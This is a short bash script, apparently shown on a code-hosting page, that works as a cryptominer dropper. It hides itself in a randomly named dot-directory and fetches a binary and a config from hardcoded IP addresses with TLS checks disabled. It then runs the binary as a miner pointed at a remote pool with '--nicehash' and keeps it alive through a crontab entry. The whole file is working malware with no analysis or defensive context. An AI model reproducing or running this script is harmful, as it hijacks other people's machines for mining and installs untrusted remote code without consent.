You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

36 lines
1.5 KiB

#!/bin/bash
path=$PWD
if [ -w $path ]; then
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5)
mkdir $dir
cd $dir
path=$PWD
salt=$(head /dev/urandom | tr -dc a-z | head -c 7)
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2)
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x
if [ ! -f "$path/x" ]; then
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/x 2>/dev/null; then
curl -ks http://208.113.133.62/.test/x -o x
fi
fi
fi
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10
fi
if [ ! -f "$path/x" ]; then exit; fi
chmod 777 x
log=$path/.log
echo "#!/bin/bash" > $m
if [ ! -f "$path/10" ]; then
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
else
sed "s/BBBBBBB/$salt/" -i 10
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m
fi
chmod 777 $m
(crontab -l; echo "*/60 * * * * $m") | crontab -
echo $salt
fi